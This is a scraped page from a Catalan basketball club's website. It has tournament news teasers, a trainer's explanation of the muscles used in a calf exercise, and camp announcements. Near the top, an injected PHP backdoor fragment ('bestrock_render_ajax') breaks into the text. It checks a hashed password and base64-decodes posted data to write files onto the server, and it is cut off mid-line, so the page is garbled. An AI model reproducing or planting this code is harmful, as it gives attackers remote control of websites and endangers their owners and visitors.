Tres equips del TGN dins del podi a Cambrils!
La dinovena edició del Torneig de bàsquet i minibàsquet que organitza el...
function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4="
Una nova entrega amb el preparador físic del club Gerard Merino, aquesta vegada treballant els músculs gastrocnemis, mal anomenats bessons. Així, els músculs de la part inferior de la cama i peu que treballen en aquest exercici, són (per ordre d’importància):
Agonistes (Principals):
– Gastrocnemi
– Soli
– Musculatura flexora (i abductora) dels dits del peu
Sinergistes (Complementaris):
– Peroneal Lateral llarg i curt
– Plantar prim
“Òbviament, participen quasi tots els músculs del cos per mantenir la posició del tronc tan quan ens enlairem com quan aterrem, si no cauríem a terra com un sac de patates”, diu Merino.
La dinovena edició del Torneig de bàsquet i minibàsquet que organitza el...
Aquest passat diumenge 14 d’Abril es va celebrar la 3a de les...
El Torneig Final de Temporada ja comença a agafar forma. Els dies...
Partit corresponent a la vint-i-quatrena jornada de Supercopa Catalunya femenina, on el...
Apunta’t al Campus de Calpe! 🏀🐸
🗓️ Del 30 de juny al 5 de juliol els jugadors i jugadores del TGN, d’entre 8 a 18 anys, podran gaudir d’una setmana a Calpe, Alacant.
💥 Tota la informació la trobareu a la web 𝘁𝗴𝗻𝗯𝗮𝘀𝗾𝘂𝗲𝘁.𝗰𝗼𝗺! No esperis més i inscriu-te ja! 💜
🗓️ Aquest diumenge 14 d'abril va tenir lloc la 3a jornada de tecnificació d'alevins!
💯 El proper diumenge 5 de maig es celebrarà l'última de les sessions de tecnificació! Animeu-vos a participar! #futuradntgn🧬